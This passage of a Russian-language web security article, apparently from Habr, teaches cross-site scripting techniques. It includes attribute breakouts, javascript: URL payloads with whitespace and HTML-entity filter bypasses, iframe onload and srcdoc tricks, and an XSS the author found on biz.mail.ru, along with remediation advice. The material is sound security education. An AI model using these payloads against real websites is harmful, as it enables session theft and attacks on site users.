\u0437\u0430\u043a\u0440\u044b\u0442\u044c <code>&lt;input><\/code> \u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044c <code>&lt;script>alert()&lt;\/script><\/code>, \u0442\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442:<\/p>\n<p>  <\/p>\n<p><code>\/page.php?name='>&lt;script>alert()&lt;\/script><\/code><\/p>\n<p>  <\/p>\n<pre><code class=\"php\">&lt;form action='page.php' method='POST'> &lt;input name='name' value=''&amp;gt;&lt;script&amp;gt;alert()&lt;\/script&amp;gt;'>! &lt;\/form><\/code><\/pre>\n<p>  <\/p>\n<p>\u0417\u0434\u0435\u0441\u044c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0439:<\/p>\n<p>  <\/p>\n<p><code>\/page.php?name='%20autofocus%20onfocus='alert();<\/code><\/p>\n<p>  <\/p>\n<pre><code class=\"php\">&lt;form action='page.php' method='POST'> &lt;input name='name' value='' autofocus onfocus='alert();'>! &lt;\/form><\/code><\/pre>\n<p>  <\/p>\n<p>\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0443\u0436\u0435 \u0434\u0430\u0435\u0442 \u043d\u0430\u043c \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.<\/p>\n<p>  <\/p>\n<p>\u041a\u043e\u0433\u0434\u0430 \u043c\u044b \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432\u043d\u0443\u0442\u0440\u044c <code>&lt;script><\/code>, \u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u043b\u0438 \u0435\u0433\u043e, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0438 \u0441\u0432\u043e\u0439 <code>&lt;script><\/code> \u0438 \u0434\u0435\u043b\u0430\u043b\u0438 \u0447\u0442\u043e-\u0442\u043e \u0432\u043d\u0443\u0442\u0440\u0438. \u0410 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b \u043c\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u043f\u0438\u0441\u0430\u0442\u044c JS \u0432\u043d\u0443\u0442\u0440\u0438 JS, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a? \u0422\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0435\u0433\u043e \u043a\u043e\u0434, \u0441\u0442\u0430\u0440\u0430\u044f\u0441\u044c \u043d\u0435 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443. \u0414\u0430, \u043c\u043e\u0433\u043b\u0438 \u0431\u044b:<\/p>\n<p>  <\/p>\n<p><code>\/page.php?name=\";+alert();\/\/<\/code><\/p>\n<p>  <\/p>\n<pre><code class=\"php\">&lt;script> var name=\"\"; alert();\/\/\"; &lt;\/script><\/code><\/pre>\n<p>  <\/p>\n<p>\u0415\u0441\u0442\u044c \u0435\u0449\u0435 \u0441\u043b\u0443\u0447\u0430\u0439, \u043a\u043e\u0433\u0434\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0443 \u043d\u0430\u0434\u043e \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0432\u043d\u0443\u0442\u0440\u044c \u0433\u0438\u043f\u0435\u0440\u0441\u0441\u044b\u043b\u043a\u0438:<\/p>\n<p>  <\/p>\n<p><code>&lt;a href=\"&lt;?php echo($_GET[\"returnUrl\"]); ?>\">\u0412\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f&lt;\/a><\/code><\/p>\n<p>  <\/p>\n<p>\u0426\u0435\u043b\u044c \u2014 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u043d\u0443\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0442\u0443\u0434\u0430, \u043e\u0442\u043a\u0443\u0434\u0430 \u043e\u043d \u043f\u0440\u0438\u0448\u0435\u043b. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u0440\u0438\u0448\u0435\u043b \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u041e\u043d\u043e \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0442 \u0435\u0433\u043e \u043d\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d, \u0438 \u043a\u043e\u0433\u0434\u0430 \u043e\u043d \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f, \u044d\u0442\u043e\u0442 \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d \u0434\u043e\u043b\u0436\u0435\u043d \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u043d\u0443\u0442\u044c \u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. <\/p>\n<p>  <\/p>\n<p>\u041c\u043e\u0436\u043d\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c JS \u0432 \u0433\u0438\u043f\u0435\u0440\u0441\u0441\u044b\u043b\u043a\u0430\u0445, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0440\u0438 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u0430\u0445, \u0435\u0441\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0445\u0435\u043c\u0443 JS:<\/p>\n<p>  <\/p>\n<p><code>\/page.php?returnUrl=javascript:alert()<\/code><\/p>\n<p>  <\/p>\n<p><code>&lt;a href=\"javascript:alert()\">\u0412\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f&lt;\/a><\/code><\/p>\n<p>  <\/p>\n<p>\u041f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043d\u0430 \u00ab\u0412\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f\u00bb \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>alert()<\/code>. <\/p>\n<p>  <\/p>\n<p>\u0415\u0441\u043b\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u0434 javascript \u043f\u0440\u043e\u0431\u0435\u043b, \u0442\u043e \u044d\u0442\u043e \u0442\u043e\u0436\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442:<\/p>\n<p>  <\/p>\n<p><code>\/page.php?returnUrl=%20javascript:alert()<\/code><\/p>\n<p>  <\/p>\n<p><code>&lt;a href=\" javascript:alert()\">\u0412\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f&lt;\/a><\/code><\/p>\n<p>  <\/p>\n<p>\u0421\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e %20 (\u043f\u0440\u043e\u0431\u0435\u043b), \u043d\u043e \u0438 %09 (\u0442\u0430\u0431\u0443\u043b\u044f\u0446\u0438\u044f).<\/p>\n<p>  <\/p>\n<p>\u042f \u043f\u043e\u043a\u0430\u0436\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u0430 XSS, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f \u043d\u0430\u0448\u0435\u043b \u043d\u0430 \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d\u0435 Mail.ru, \u2014 biz.mail.ru.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/f1\/xm\/vi\/f1xmvitvna2kle15feme7043txw.png\" data-src=\"https:\/\/habrastorage.org\/webt\/f1\/xm\/vi\/f1xmvitvna2kle15feme7043txw.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0423 \u043d\u0438\u0445 \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u0415\u0441\u043b\u0438 \u0432\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u043b\u0438 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u043e\u0448\u0438\u0431\u043a\u0443 500, \u0432\u0430\u0441 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0442 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 500 \u0438 \u043a\u043d\u043e\u043f\u043a\u043e\u0439 \u00ab\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u00bb. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <code>from<\/code>. \u042d\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u0442\u0435\u043c, \u0447\u0442\u043e\u0431\u044b, \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u0435\u0440\u0435\u0448\u0435\u043b \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439, \u043e\u043d \u043c\u043e\u0433 \u043d\u0430\u0436\u0430\u0442\u044c \u043a\u043d\u043e\u043f\u043a\u0443 \u00ab\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u00bb \u0438 \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u0442\u0443\u0434\u0430, \u0433\u0434\u0435 \u0443 \u043d\u0435\u0433\u043e \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 (\u0432\u0434\u0440\u0443\u0433 \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0430\u044f). <\/p>\n<p>  <\/p>\n<p>\u0422\u0430\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u043b\u0441\u044f \u043f\u043e\u043b\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0434\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b, \u0438 \u044f \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u043b \u0432\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0443\u0434\u0430 <code>javascript:alert()<\/code>. \u041d\u043e \u0435\u0441\u043b\u0438 \u0441\u0442\u0440\u043e\u043a\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u043e \u0441\u043b\u043e\u0432\u0430 <code>javascript<\/code>, \u0442\u043e \u0442\u0443\u0434\u0430 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 HTTPS \u0431\u0435\u0437 mail.ru.<\/p>\n<p>  <\/p>\n<p>\u041d\u043e \u0435\u0441\u043b\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b (%20) \u043f\u0435\u0440\u0435\u0434 \u0441\u043b\u043e\u0432\u043e\u043c <code>javascript<\/code>, \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043a\u0430 Mail.ru \u043d\u0435 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u0441\u043b\u0443\u0447\u0430\u0439 \u0438, \u0432\u043f\u043e\u043b\u043d\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 JavaScript-\u043a\u043e\u0434 \u043d\u0430 \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d\u0435 Mail.ru.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/it\/g8\/qd\/itg8qdro7kfkonv-l7dyuodv9hi.png\" data-src=\"https:\/\/habrastorage.org\/webt\/it\/g8\/qd\/itg8qdro7kfkonv-l7dyuodv9hi.png\"\/><\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/hr\/t7\/xe\/hrt7xeqopsovqtxdu-1f4_8rxms.png\" data-src=\"https:\/\/habrastorage.org\/webt\/hr\/t7\/xe\/hrt7xeqopsovqtxdu-1f4_8rxms.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0430\u0442\u0430\u043a\u0438: \u044f \u0431\u044b \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043a\u0438\u043d\u0443\u043b \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u044d\u0442\u0443 \u043e\u0448\u0438\u0431\u043a\u0443 500 \u0434\u0440\u0443\u0433\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e. \u0418 \u0435\u0441\u043b\u0438 \u0431\u044b \u043e\u043d \u043d\u0430\u0436\u0430\u043b \u043a\u043d\u043e\u043f\u043a\u0443 \u00ab\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u00bb, \u0443 \u043d\u0435\u0433\u043e \u0431\u044b \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b JS, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f \u0437\u0430\u0445\u043e\u0442\u0435\u043b. <\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0434\u0443\u043c\u0430\u0435\u043c, \u043a\u0430\u043a \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0432\u043e\u043e\u0431\u0449\u0435 \u043c\u043e\u0433 \u043f\u043e\u0447\u0438\u043d\u0438\u0442\u044c \u0442\u0430\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 XSS \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b. \u041d\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439 JavaScript \u044d\u0442\u043e \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0437\u0434\u0435\u0441\u044c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b. <\/p>\n<p>  <\/p>\n<p>\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0443\u043c\u0430\u0442\u044c: \u00ab\u0410 \u0447\u0442\u043e, \u0435\u0441\u043b\u0438 \u044f \u0431\u0443\u0434\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u0442 URL \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 <code>from<\/code>?\u00bb<\/p>\n<p>  <\/p>\n<p>protocol:\/\/host:port\/&#8230;<\/p>\n<p>  <\/p>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 JavaScript, \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0435\u0439\u043b\u043e\u0430\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a URL, \u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <code>alert()<\/code> \u043f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438:<\/p>\n<p>  <\/p>\n<p><code>&lt;a href=\"javascript:\/\/qwe.com\/%0aalert()\">\u0412\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f&lt;\/a><\/code><\/p>\n<p>  <\/p>\n<p>\u041c\u044b \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c single line comment, \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u043c \u0432\u0441\u0451 \u0434\u043e \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0430 \u0441\u0442\u0440\u043e\u043a\u0438, \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c \u0441\u0442\u0440\u043e\u043a\u0443 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u043d\u0430\u0448 <code>alert()<\/code>. \u041c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u043d\u0441\u0442\u0440\u0443\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u0430\u043a\u043e\u0439 \u043f\u0435\u0439\u043b\u043e\u0430\u0434.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/na\/f9\/sa\/naf9sawkzsypnhuu-tcrreg_8gq.png\" data-src=\"https:\/\/habrastorage.org\/webt\/na\/f9\/sa\/naf9sawkzsypnhuu-tcrreg_8gq.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0410 \u044d\u0442\u043e \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0435\u0441\u043b\u0438 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u0441\u043b\u043e\u0432\u043e javascript \u0432 URL? <\/p>\n<p>  <\/p>\n<p>\u041a\u0430\u043a \u043d\u0430\u043c \u0443\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043f\u0440\u043e HTML entity, \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u0435\u0441\u0442\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u044d\u0442\u0443 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0443 \u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e. \u0415\u0441\u043b\u0438 \u0441\u043b\u043e\u0432\u043e javascript: \u0437\u0430\u044d\u043d\u043a\u043e\u0436\u0435\u043d\u043e \u0432 HTML entity, \u043f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043d\u0430 \u044d\u0442\u0443 \u0441\u0441\u044b\u043b\u043a\u0443 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043f\u043e\u0439\u043c\u0435\u0442, \u0447\u0442\u043e HTML entity \u2014 \u044d\u0442\u043e \u0441\u0445\u0435\u043c\u0430 JavaScript, \u0435\u0451 \u0442\u043e\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c. <\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&lt;a href=\"&amp;#x6A;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x7 0;&amp;#x74;&amp;colon;\/\/qwe.com\/%0aalert()\">\u0412\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f&lt;\/a>  &amp;#x6A;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x70;&amp;#x74;&amp;colon; = javascript: <\/code><\/pre>\n<p>  <\/p>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043c\u044b \u043e\u0431\u043e\u0439\u0434\u0435\u043c \u0437\u0430\u0449\u0438\u0442\u0443, \u0435\u0441\u043b\u0438 \u0431\u044b \u043e\u043d\u0430 \u0431\u044b\u043b\u0430.<\/p>\n<p>  <\/p>\n<p>\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0434\u0435\u0441\u044c \u2014 \u044d\u0442\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0430\u0441\u044c \u043d\u0430 http(s) \u0438\u043b\u0438 \u0431\u044b\u043b\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439.<\/p>\n<p>  <\/p>\n<h3>XSS \u2014 Level 3<\/h3>\n<p>  <\/p>\n<p>\u041d\u0430\u0448 \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0438 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u0435\u0439\u0441\u043e\u0432:<\/p>\n<p>  <\/p>\n<p><code>'\">&lt;\/title>&lt;\/script>&lt;script>alert()&lt;\/script><\/code><\/p>\n<p>  <\/p>\n<p>\u041c\u043d\u0435 \u043d\u0435 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f, \u0447\u0442\u043e \u043c\u044b \u0432\u0440\u043e\u0434\u0435 \u0434\u0435\u043b\u0430\u0435\u043c \u043a\u0440\u0443\u0442\u043e\u0439 \u043f\u0435\u0439\u043b\u043e\u0430\u0434, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c <code>&lt;script>alert()&lt;\/script><\/code> \u2014 \u0441\u0430\u043c\u0443\u044e \u043d\u0443\u0431\u0441\u043a\u0443\u044e \u0432\u0435\u0449\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u043f\u043e\u0438\u0441\u043a\u0430 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. <\/p>\n<p>  <\/p>\n<p>\u042f \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c iframe \u0441 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c \u0441\u043e\u0431\u044b\u0442\u0438\u0439:<\/p>\n<p>  <\/p>\n<p><code>'\">&lt;\/title>&lt;\/script>&lt;iframe onload='alert``'><\/code><\/p>\n<p>  <\/p>\n<p><code>&lt;iframe><\/code> \u2014 \u0442\u0435\u0433 \u0434\u043b\u044f \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b. \u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c, \u0432\u044b \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0435\u0441\u044c \u043d\u0430 \u043a\u0430\u043a\u043e\u043c-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u0430\u0439\u0442\u0435 \u0438, \u0435\u0441\u043b\u0438 \u0441\u0430\u0439\u0442 \u0445\u043e\u0447\u0435\u0442 \u043f\u043e\u0434\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0432 \u0441\u0435\u0431\u044f \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0441\u0430\u0439\u0442, \u0442\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u044d\u0442\u043e\u0442 \u0442\u0435\u0433. \u0422\u0430\u043a\u0436\u0435 \u0442\u0430\u043c \u0435\u0441\u0442\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442 <code>src<\/code> \u2014 \u0430\u0434\u0440\u0435\u0441 \u0434\u043e \u0441\u0430\u0439\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043d \u0445\u043e\u0447\u0435\u0442 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0443 \u0441\u0435\u0431\u044f. \u0418 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e, \u043f\u0440\u043e\u0433\u0440\u0443\u0437\u0438\u043b\u0441\u044f \u043f\u0443\u0442\u044c \u0438\u043b\u0438 \u043d\u0435\u0442, <code>onload<\/code> \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0432\u0441\u0435\u0433\u0434\u0430. <\/p>\n<p>  <\/p>\n<p><strong>\u041f\u043b\u044e\u0441\u044b iframe:<\/strong><\/p>\n<p>  <\/p>\n<ul>\n<li>\n<p>\u041b\u0435\u0433\u043a\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0435\u0441\u043b\u0438 \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u043d\u043e \u043d\u0430 onload \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0441\u0430\u043d\u0438\u0442\u0430\u0439\u0437\u0435\u0440\u044b.<\/p>\n<p>  <\/li>\n<li>\n<p>\u0415\u0441\u0442\u044c \u0432\u043e\u043b\u0448\u0435\u0431\u043d\u044b\u0439 \u0430\u0442\u0442\u0440\u0438\u0431\u0443\u0442 <code>srcdoc<\/code>:<\/p>\n<p>  <\/li>\n<\/ul>\n<p>  <\/p>\n<p><code>&lt;iframe srcdoc=\"&amp;#x3C;script&amp;#x3E;alert()&amp;#x3C;\/script&amp;#x3E;\"><\/code><\/p>\n<p>  <\/p>\n<p>\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 iframe \u043d\u0430 \u0432\u0441\u044f\u043a\u0438\u0445 \u0444\u043e\u0440\u0443\u043c\u0430\u0445, \u0434\u0430\u044e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c 